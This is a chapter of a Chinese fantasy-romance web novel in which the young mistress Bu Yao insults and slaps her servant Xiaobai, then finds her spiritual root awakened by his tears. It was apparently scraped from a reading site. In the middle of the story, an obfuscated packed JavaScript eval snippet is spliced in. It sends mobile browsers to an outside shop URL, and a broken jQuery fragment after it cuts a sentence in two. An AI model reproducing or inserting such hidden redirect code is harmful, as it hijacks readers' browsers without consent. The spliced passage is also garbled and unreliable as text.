空气陡然安静下来。

    笙歌和清欢低着头,大气不敢喘。

    小白神情毫无波动,脸上残留着点点白色粉状,像一张洁白不暇的白纸粘上了灰尘,极其刺眼。

    卜遥一气之下将糕点扔了出去,一扔出去就后悔了,慌了神,忙不迭道歉:“小白,对不……”

    “卜遥。”

    卜遥愕然,这么多年以来,这是她第一次听到小白直呼她的名字。

    她听到了小白克制而又认真的声音,掺杂着真切的疑惑。

    “我是你养的一条狗吗?”

    狗尚且有疼惜爱怜它的主人。

    更准确点说,他的地位还不如狗,所以才会被随意使唤、羞辱、打骂。

    那点歉意在这句话面前消散得干干净净。

    卜遥的手止不住颤抖着,不可置信地看着小白。

    先前看到那封信后产生的刺痛感卷土重来,她疼得说不出话来,眼睛被水汽覆盖,视线模糊。

    卜遥在心中一遍又一遍地告诉自己,小白会这么想,完全是情有可原。可她脑海中浮现出一幅幅画面,那是两人相处时融洽的场景。

    ——卜遥自以为的融洽。

    情感和理智不停在拉扯,脑子里嗡嗡直响,搅得她不得安宁。

    “砰”的一声巨响响起。

    那一整盘梅花糕都被摔在了地上,碎成一地。

    小白站在门边,无动于衷地瞧着眼前场景。

    清欢和笙歌被吓了一个抖嗦,清欢心里发着慌,大着胆子说:“小姐,要不……”

    “清欢,笙歌,你们出去。”卜遥垂下眼睫,冷声说道。

    “小姐,我……”清欢满脸担忧,不愿离开。

    卜遥摆出一副不容置疑的态度:“记得关上门。”

    “是。”笙歌行礼道,让你拉扯着不愿离开的清欢一同出去了,关上了门。

    偌大的房间里只剩了他们两人。

    死一般的寂静。

    过于安静的氛围使得再微小的声音显得格外清晰,一道比一道重的呼吸声落在两人耳畔。

    门和窗户紧闭着,房间内光线昏暗、空气沉闷,呼吸沉重再正常不过了。

    小白看向卜遥,在幽暗的环境下,他没法看清她的表情,却凭借着脑海里的回忆自动补齐了卜遥的神情。

    卜遥每每欺凌他的时候,都会摆出这么一副可怜样来,不知情的人怕是会以为是他在欺负她。

    怎么?欺负他就这样痛快吗?

    小白喉结滚动,他深吸一口气,忽地平静了下来。

    他早该知道的,答案无论是什么都不重要,与卜遥争论这些又有何意义?

    小白不欲再在此浪费时间,颔首道:“小姐,我先……”

    他话还没说完,就被一道急促而冷冽的声音打断了。

    “狗?你也配?”卜遥看清了小白僵住的动作,吐出一口浊气,心情莫名其妙舒缓了许多。

    她无法控制内心阴暗的想法,克制不住地在想,她早该这样说才对。

    卜遥直勾勾地盯着小白,不想错过他的任何一个反应。

    她的声音尖锐刺耳,持续性地刺激着小白:“小白,我告诉你,我给你的那些东西随便给谁都会比你做的好一万倍!”

    小白早就料到了卜遥的回答,必然不会有多中听,可当他真切听到这一番话时,周围空气陡然变得稀薄。

    他垂着头,感到呼吸困难,整个人仿佛被重物压着一般,连根手指都动不了,也发不出任何声响。

    明明长着一副看着就不好惹的样貌,偏偏生的这么一副软性子。

    那被她欺负也是他活该。

    卜遥移开视线,这样想着,视线不知何时再次变得模糊,鼻子发酸,脸颊有些湿润。

    她没有理会这些,仰着头,摆出一副趾高气扬的模样。

    “你现在知道开口了?你扪心自问,你有拒绝过我的要求吗?有反抗过我吗?就算是当狗,那也是你默许的。”

    心脏的刺痛感迫使着卜遥吐出一句一句伤人的话,就好像只要说出这些话,心脏就不会痛了。

    小白眼眶传来一股酸意,又被极力抑制了回去。

    他僵硬地扯了扯嘴角,回应道:“小姐说得对。”

    “你真的觉得我说的对吗?”卜遥最讨厌小白这幅平静的模样,仿佛这世界上没有事能让他动容。

    她走到小白面前,放轻声音:“既然知道我说的对,那该怎么做,你心里应当清楚。”

    小白没有说话。

    强烈的疼痛感压迫着卜遥的神经,她的太阳穴一跳一跳,她没有耐心等待小白的回答:“说话。”

    他依旧是沉默以对。

    卜遥嗤笑一声。

    他不想说话,那她继续说好了。

    “小白,倘若不是我们卜家救了你一条命,你能活到现在?早就随了你的家人一起……”

    她中途反应过来,终究是没有将这句伤人的话说完整。

    小白常年毫无波澜的神色,在听到这句话后,骤然崩塌。他猛然抬起头,看向卜遥的目光透露出几分毫不加掩饰的刻骨恨意。

    与之相反的是,他的语气依旧是淡淡的:“一起什么?”

    “小姐大可说的再明白些。”

    “……你心里清楚。”卜遥的手腕覆上了一层凉意,她察觉到不妙,下意识往后躲了躲,但手腕还是被紧紧攥住了。

    “清楚?”小白攥着卜遥的手腕,盯着她,翛然一笑。

    他生得好看,平日里不爱笑,强化了其外貌的攻击性。如今这么一笑,倒显得活色生香,好相处多了。

    小白和她离得很近,他长得太高了,浑身自带压迫感,这样看着她,难免显得居高临下。

    卜遥浑身发冷,她潜意识极其抗拒听到小白接下来的话,张开嘴想说些什么,却是为时已晚。

    下一秒,她听到了小白的声音:“卜遥,你又好到哪里去?”

    语气中充斥着浓浓的讽意。

    小白远比卜遥想象中要了解她,因此哪怕他没有把话说全,单就这样冷冰冰地看着卜遥,卜遥便明白了他的未尽之意。

    离得近了,小白总算能够看清卜遥的神情,就连眼上那颗不起眼红痣,都看得一清二楚。

    卜遥缓缓地眨了一下眼,那颗红痣被打湿,变得湿漉漉的。

    眼前此景落到小白眼中,他晃了晃神,卜遥趁此时机,一下挣脱了他的控制。

    “啪”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679939|207650||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的一声。

    卜遥用刚刚被钳制的手给了小白一个响亮的巴掌。

    卜遥眼眶充红,心脏砰砰直跳。

    小白像是被闪懵了,好一会儿才抬起手,落在发红的脸颊上。

    卜遥手抖得厉害,手心又烫又痛,她试图用另一只手去控制那只手,却没太大作用。

    她勉强维持着面上的体面与冷静,转过身,藏起颤抖的手,不去看小白。

    卜遥花了很久才平静下来,她闭上眼睛,便欲赶客:“出……”

    “小姐,这次的好处是什么呢?”

    没有质问,没有责怪,就连语气都平淡得一丝起伏都没有。

    一切都在卜遥的意料之外。

    他对卜遥的沉默毫不意外,顿了十几秒,说:“我想拿回我的玉佩。”

    玉佩?

    卜遥不加多想,毫不犹豫地拒绝:“你做梦。”

    她低头看着红通通的掌心,闷声道:“我这辈子都不可能还给你。”

    说完这话,卜遥指着门,继续进行刚才没完成的赶客:“出去。”

    她的声音发着抖,与狠厉的语气毫不相符。

    在卜遥看不到的身后,小白眸子沉沉地盯着她,紧紧攥着拳头。他看出了卜遥的色厉内荏,像定住了般待在原地一动不动。

    “出去!”

    他深深地看了她一眼,才走出去,关上了门。

    人走后,卜遥再无顾忌,她大力地揉搓着依旧在发抖的手,鲜明的疼痛感终于分散了一点注意力。

    卜遥看着自己的手发着呆,毫无征兆地抬起双手,捂住脸颊,泄力般一下子蹲了下去。

    细碎的呜咽声从掌心泄露出去。

    “小姐,你没事吧?”

    门外传来清欢小心翼翼的关心询问。

    卜遥没有回答。

    随着时间的流逝,她的呜咽声越来越小,直至彻底消失。

    卜遥一滴眼泪也流不出来了,她的眼睛肿得难受,脑袋晕乎乎的。

    但是这么一发泄,确实要好受了一些。

    她想要站起来,却因腿脚发麻无法支撑住身体,缓了好一会儿才慢慢起身。

    腿脚的麻木感褪去后,卜遥察觉到了身体的变化。

    她感到身体变得格外的轻盈,脑袋清醒,浑身上下有股难以道明的舒适感。

    卜遥潜意识抗拒着身体的变化。

    这是为什么?

    她低头,无措地打量着这具陌生的身体。

    忽然,卜遥鬼使神差抬起了头,一转头,她看到了镜中的自己。

    镜中的她头发些许凌乱,眼皮肿着,双眼无神,脸颊两侧和鼻尖都泛着红,看着可怜又狼狈。

    但这些都不是卜遥所关心的。

    她被那抹刺眼的金吸引,目光落在了镜子中她的旁边位置。

    那里赫然浮现出了一行字。

    一切都说通了。

    卜遥迟钝地意识到了一个鲜明的事实——她的灵根觉醒了。

    而这一切,毋庸置疑,都是小白的眼泪带来的。

    他很难过吗?

    卜遥忽然很想笑,她扯起嘴角,嗓子里挤不出一点声音,于是就这样茫然地和镜子中的自己对视。